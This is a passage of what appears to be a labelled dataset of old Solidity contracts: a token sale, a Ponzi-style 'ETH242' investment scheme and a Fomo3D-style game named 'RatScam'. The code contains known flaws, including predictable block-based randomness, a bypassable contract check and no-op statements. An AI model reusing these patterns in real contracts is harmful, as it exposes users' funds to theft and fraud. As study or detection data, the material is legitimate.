}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function getState() public returns(State) {
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function() payable {
throw;
}
} | 0 | 22 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function allowance(address owner, address spender) public constant returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
function decimals() public constant returns (uint value);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract SilentNotaryTokenSale is Ownable, SafeMath {
enum Status {Unknown, Preparing, Selling, ProlongedSelling, TokenShortage, Finished}
event Invested(address investor, uint weiAmount, uint tokenAmount);
event Withdraw(uint tokenAmount);
event TokenPriceChanged(uint newTokenPrice);
ERC20 public token;
address public ethMultisigWallet;
address public tokenMultisigWallet;
uint public startTime;
uint public duration;
uint public prolongedDuration;
uint public tokenPrice;
uint public minInvestment;
address[] public allowedSenders;
uint public tokensSoldAmount = 0;
uint public weiRaisedAmount = 0;
uint public investorCount = 0;
bool public prolongationPermitted;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
uint public tokenValueMultiplier;
bool public stopped;
function SilentNotaryTokenSale(address _token, address _ethMultisigWallet, address _tokenMultisigWallet,
uint _startTime, uint _duration, uint _prolongedDuration, uint _tokenPrice, uint _minInvestment, address[] _allowedSenders) public {
require(_token != 0);
require(_ethMultisigWallet != 0);
require(_tokenMultisigWallet != 0);
require(_duration > 0);
require(_tokenPrice > 0);
require(_minInvestment > 0);
token = ERC20(_token);
ethMultisigWallet = _ethMultisigWallet;
tokenMultisigWallet = _tokenMultisigWallet;
startTime = _startTime;
duration = _duration;
prolongedDuration = _prolongedDuration;
tokenPrice = _tokenPrice;
minInvestment = _minInvestment;
allowedSenders = _allowedSenders;
tokenValueMultiplier = 10 ** token.decimals();
}
function() public payable {
require(!stopped);
require(getCurrentStatus() == Status.Selling || getCurrentStatus() == Status.ProlongedSelling);
require(msg.value >= minInvestment);
address receiver = msg.sender;
var senderAllowed = false;
if (allowedSenders.length > 0) {
for (uint i = 0; i < allowedSenders.length; i++)
if (allowedSenders[i] == receiver){
senderAllowed = true;
break;
}
}
else
senderAllowed = true;
assert(senderAllowed);
uint weiAmount = msg.value;
uint tokenAmount = safeDiv(safeMul(weiAmount, tokenValueMultiplier), tokenPrice);
assert(tokenAmount > 0);
uint changeWei = 0;
var currentContractTokens = token.balanceOf(address(this));
if (currentContractTokens < tokenAmount) {
var changeTokenAmount = safeSub(tokenAmount, currentContractTokens);
changeWei = safeDiv(safeMul(changeTokenAmount, tokenPrice), tokenValueMultiplier);
tokenAmount = currentContractTokens;
weiAmount = safeSub(weiAmount, changeWei);
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver], weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver], tokenAmount);
weiRaisedAmount = safeAdd(weiRaisedAmount, weiAmount);
tokensSoldAmount = safeAdd(tokensSoldAmount, tokenAmount);
ethMultisigWallet.transfer(weiAmount);
var transferSuccess = token.transfer(receiver, tokenAmount);
assert(transferSuccess);
if (changeWei > 0) {
receiver.transfer(changeWei);
}
Invested(receiver, weiAmount, tokenAmount);
}
function getCurrentStatus() public constant returns (Status) {
if (startTime > now)
return Status.Preparing;
if (now > startTime + duration + prolongedDuration)
return Status.Finished;
if (now > startTime + duration && !prolongationPermitted)
return Status.Finished;
if (token.balanceOf(address(this)) <= 0)
return Status.TokenShortage;
if (now > startTime + duration)
return Status.ProlongedSelling;
if (now >= startTime)
return Status.Selling;
return Status.Unknown;
}
function withdrawTokens(uint value) public onlyOwner {
require(value <= token.balanceOf(address(this)));
token.transfer(tokenMultisigWallet, value);
Withdraw(value);
}
function changeTokenPrice(uint newTokenPrice) public onlyOwner {
require(newTokenPrice > 0);
tokenPrice = newTokenPrice;
TokenPriceChanged(newTokenPrice);
}
function prolong() public onlyOwner {
require(!prolongationPermitted && prolongedDuration > 0);
prolongationPermitted = true;
}
function stopSale() public onlyOwner {
stopped = true;
}
function resumeSale() public onlyOwner {
require(stopped);
stopped = false;
}
function kill() public onlyOwner {
selfdestruct(owner);
}
} | 1 | 2,311 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract InvestorsStorage {
address private owner;
mapping (address => Investor) private investors;
struct Investor {
uint deposit;
uint checkpoint;
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function updateInfo(address _address, uint _value) external onlyOwner {
investors[_address].deposit += _value;
investors[_address].checkpoint = block.timestamp;
}
function updateCheckpoint(address _address) external onlyOwner {
investors[_address].checkpoint = block.timestamp;
}
function d(address _address) external view onlyOwner returns(uint) {
return investors[_address].deposit;
}
function c(address _address) external view onlyOwner returns(uint) {
return investors[_address].checkpoint;
}
function getInterest(address _address) external view onlyOwner returns(uint) {
if (investors[_address].deposit < 2420000000000000000) {
return 242;
} else {
return 300;
}
}
}
contract ETH242 {
using SafeMath for uint;
address public owner;
address admin;
address marketing;
uint waveStartUp;
uint nextPayDay;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referral, address indexed _referrer, uint _value);
event LogNewWave(uint _waveStartUp);
InvestorsStorage private x;
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedReferrer) {
assembly {
parsedReferrer := mload(add(_source,0x14))
}
return parsedReferrer;
}
function toReferrer(uint _value) internal {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender) {
_referrer.transfer(_value / 20);
emit LogReferralInvestment(msg.sender, _referrer, _value);
}
}
constructor() public {
owner = msg.sender;
admin = address(0xd38a013D7730564584C9aDBEeA83C1007E12E038);
marketing = address(0x81eCf0979668D3C6a812B404215B53310f14f451);
x = new InvestorsStorage();
}
function getInfo(address _address) external view returns(uint deposit, uint amountToWithdraw) {
deposit = x.d(_address);
amountToWithdraw = block.timestamp.sub(x.c(_address)).div(1 days).mul(x.d(_address).mul(x.getInterest(_address)).div(10000));
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest();
}
}
function invest() notOnPause public payable {
admin.transfer(msg.value * 8 / 100);
marketing.transfer(msg.value * 5 / 100);
if (x.d(msg.sender) > 0) {
withdraw();
}
x.updateInfo(msg.sender, msg.value);
if (msg.data.length == 20) {
toReferrer(msg.value);
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() notOnPause public {
if (address(this).balance < 100000000000000000) {
nextWave();
return;
}
uint _payout = block.timestamp.sub(x.c(msg.sender)).div(1 days).mul(x.d(msg.sender).mul(x.getInterest(msg.sender)).div(10000));
x.updateCheckpoint(msg.sender);
if (_payout > 0) {
msg.sender.transfer(_payout);
emit LogPayment(msg.sender, _payout);
}
}
function nextWave() private {
x = new InvestorsStorage();
waveStartUp = block.timestamp + 7 days;
emit LogNewWave(waveStartUp);
}
} | 0 | 1,653 |
pragma solidity ^0.4.24;
contract RSEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularRatScam is RSEvents {}
contract RatScam is modularRatScam {
using SafeMath for *;
using NameFilter for string;
using RSKeysCalc for uint256;
address constant private adminAddress = 0xFAdb9139a33a4F2FE67D340B6AAef0d04E9D5681;
RatBookInterface constant private RatBook = RatBookInterface(0x3257d637b8977781b4f8178365858a474b2a6195);
string constant public name = "RatScam In One Hour";
string constant public symbol = "RS";
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RSdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => RSdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => RSdatasets.Round) public round_;
uint256 public fees_ = 60;
uint256 public potSplit_ = 45;
constructor()
public
{
}
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
RSdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
uint256 _rID = rID_;
return
(
round_[rID_].keys,
round_[rID_].end,
round_[rID_].strt,
round_[rID_].pot,
round_[rID_].plyr,
plyr_[round_[rID_].plyr].addr,
plyr_[round_[rID_].plyr].name,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core( _rID, _pID, _eth, _affID, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return((((round_[_rID].mask).mul(plyrRnds_[_pID][_rID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rID].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(RatBook), "only RatBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(RatBook), "only RatBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = RatBook.getPlayerID(msg.sender);
bytes32 _name = RatBook.getPlayerName(_pID);
uint256 _laff = RatBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _pot = round_[_rID].pot + airDropPot_;
uint256 _win = (_pot.mul(45)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
adminAddress.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = 0;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rID);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rID].mask = _earnings.add(plyrRnds_[_pID][_rID].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _com = _eth * 5 / 100;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
